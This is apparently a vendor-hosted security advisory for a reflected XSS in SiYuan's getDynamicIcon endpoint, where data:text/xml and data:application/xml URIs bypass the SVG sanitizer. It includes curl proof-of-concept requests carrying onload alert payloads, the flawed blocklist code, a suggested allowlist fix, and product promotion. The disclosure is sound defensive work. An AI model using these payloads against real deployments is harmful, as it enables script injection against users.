GHSA-4mx9-3c2h-hwhg is a critical-severity (CVSS 9.3) Cross-site Scripting (XSS) vulnerability in github.com/siyuan-note/siyuan. O3 Security confirms whether GHSA-4mx9-3c2h-hwhg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)
Real-World Exposure
github.com/siyuan-note/siyuanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)
SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).
/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.
This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.
Steps to reproduce
Against SiYuan v3.6.0 (Docker):
# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">
# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a> (href removed)
# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,..."> (href preserved)
JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.
Vulnerable code
kernel/util/misc.go lines 289-293:
if strings.HasPrefix(val, "data:") {
if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
continue
}
}
text/xml and application/xml aren't in the list. Both serve SVG with JS execution.
Impact
Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.
Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.
The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.
Affected versions
v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.
Suggested fix
Flip the data: URI check to an allowlist -- only permit safe image types in href:
if strings.HasPrefix(val, "data:") {
safe := strings.HasPrefix(val, "data:image/png") ||
strings.HasPrefix(val, "data:image/jpeg") ||
strings.HasPrefix(val, "data:image/gif") ||
strings.HasPrefix(val, "data:image/webp")
if !safe {
continue
}
}
If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/siyuan-note/siyuan has shipped for GHSA-4mx9-3c2h-hwhg yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4mx9-3c2h-hwhg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4mx9-3c2h-hwhg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4mx9-3c2h-hwhg in your dependencies?
O3 detects GHSA-4mx9-3c2h-hwhg across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.